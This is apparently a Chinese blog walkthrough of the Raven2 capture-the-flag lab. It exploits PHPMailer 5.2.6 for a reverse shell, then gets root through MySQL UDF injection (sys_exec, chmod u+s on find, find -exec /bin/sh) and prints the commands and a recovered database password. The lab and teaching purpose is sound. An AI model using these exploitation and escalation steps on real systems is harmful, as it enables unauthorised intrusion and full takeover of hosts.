靶机:Raven2

Raven2靶机

主机信息收集

d2b5ca33bd170404

靶机开放端口

d2b5ca33bd170423

开放端口服务详细版本

d2b5ca33bd170651

网站的框架为wordpress和路径枚举信息

d2b5ca33bd171011

网站主页

d2b5ca33bd171722

wordpress后台地址

d2b5ca33bd171520

查看wordpress 版本,已经限制,不能查看版本

d2b5ca33bd171818

查看/vendor/目录

d2b5ca33bd172034

PATH文件中有绝对路径

d2b5ca33bd172018

VERSION文件中有版本号

d2b5ca33bd172228

再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,
如 PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。
于是使用 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp。这里我们使用40974

d2b5ca33bd172339

┌──(root㉿kali)-[~/Desktop]
└─# searchsploit -m 40974.py  .

把payload复制到当前目录下进行修改

d2b5ca33bd174137

1.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。
2.修改target为靶机IP地址,利用文件为contact.php。
3.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。
4. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。
5、使用python3 运行脚本

成功反弹shell

d2b5ca33bd174502

完善shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’

接下来就是提权

查看计划任务

d2b5ca33bd174754

查看可登录账号

d2b5ca33bd174716

查找当前用户能够执行的s位文件
find / -perm -u=s -type f 2>/dev/null

d2b5ca33bd174841

查看那些服务有开放网络连接

d2b5ca33bd174945

启用了22(ssh),111(rpcbind),3306(mysql) 等服务

尝试爆破ssh但是没字典

d2b5ca33bd175956

数据库提权

那么查找一下数据库配置文件,
cat 那么查找一下数据库配置文件,
wordpress的配置文件名称叫wp-config.php
全局查找 find / -name wp-config.php

d2b5ca33bd175653查看配置文件中的账号密码

d2b5ca33bd175409

有了mysql数据库的账号密码,而mysql一般都是root权限,可以尝试mysql提权

d2b5ca33bd180528

版本为5.5.60

d2b5ca33bd180451

下面尝试mysql提权方法,udf提权
mysql -uroot -pR@v3nSecurity 

d2b5ca33bd180600

查看能否远程登陆
use mysql;
select user,host from user;

d2b5ca33bd180711

发现root用户不允许远程登陆,因此不能利用MSF提权,所以只能尝试udf提权

根据靶机mysql版本,选着MySQL 4.x/5.0 (Linux)

d2b5ca33bd180842

复制到当前目录下
searchsploit -m 1518.c .

gcc -g -c 1518.c    —GCC编译.o文件
gcc -g -shared -o yc.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

d2b5ca33bd181148

d2b5ca33bd181257

1.当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2.当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3.当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

我们是大于5.1的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下

下载到靶机

d2b5ca33bd181447

下载动态链接库到靶机

d2b5ca33bd181937

d2b5ca33bd181759

开始配置
show databases;
use mysql;
select database();

d2b5ca33bd182054

创建数据表myfunc
create table myfunc(line blob);

插入数据

插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据
insert into myfunc values(load_file(‘/var/www/html/lib_mysqludf_sys_64.so’));
d2b5ca33bd182246

导出文件

使用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
select * from myfunc into dumpfile ‘/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so’;

使用sys_exec 函数
create function sys_exec returns integer soname ‘lib_mysqludf_sys_64.so’;

查询一下,有就成功了

d2b5ca33bd182520

 利用自定义函数改变find命令权限

select sys_exec(‘chmod u+s /usr/bin/find’);

d2b5ca33bd182637

开始提权

退出数据库
新建一个文件hello
touch hello   #创建hello文件
使用find命令查找这个文件
find hello -exec “/bin/sh” \;
并使用find命令执行shell命令
find执行shell命令后
可以看到已经提升到root权限了whoami

d2b5ca33bd182933

查找一下剩下的flag

d2b5ca33bd183649

完结撒花~~~

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称

    暂无评论内容